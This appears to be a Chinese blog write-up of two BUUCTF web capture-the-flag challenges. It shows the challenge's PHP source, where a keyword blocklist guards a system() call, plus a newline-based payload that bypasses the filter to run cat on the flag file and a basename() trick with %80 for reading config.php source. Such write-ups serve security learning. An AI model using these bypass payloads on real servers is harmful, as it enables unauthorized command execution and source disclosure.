BUUCTF WEB RCEService---

RCEService

打开题目

尝试输入命令 ls 发现不被允许

显示 试图运行命令:输入无效 

 输入127.0.0.1 显示发现黑客攻击

仔细看看发现他需要用json命令进行输入 找一下json语法

输入命令:?cmd={"cmd":"ls"}  发现了index.php但是一直访问不了

在网上找到了源代码 发现了限制了好多东西

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

PHP利用PCRE回溯次数限制绕过某些安全限制

preg_match()函数只能匹配第一行数据,可以使用换行符%0a绕过,pyload: ?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A} 

也可以写脚本绕过 但是水平有限 没办法提供

flag{9ad74104-8852-4191-b997-95f097fec5d3}

 Can you guess it?

 打开题目

 有一个超链接 打开看看

发现了源代码 题目告诉了我们flag的位置在config.php

不能以config.php结尾 这里还用到basename函数

    basename() 函数会返回路径中的文件名部分

    假如路径是/index.php/config.php

    basename后会返回config.php,就算后面跟上多余的字符也会返回文件名部分

也就是说basename函数存在一个问题,它会去掉文件名开头的非ASCII值

ASCII值范围为0-255,但ASCII码并没有规定编号为128~255的字符

ASCII表范围为0-127,也就是我们传入128(%80)以上的数值,即可绕过正则

除此以为根据题目提示我们读取flag还需要用到?source

所以可以构造payload:  /index.php/config.php/%80?source

 

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值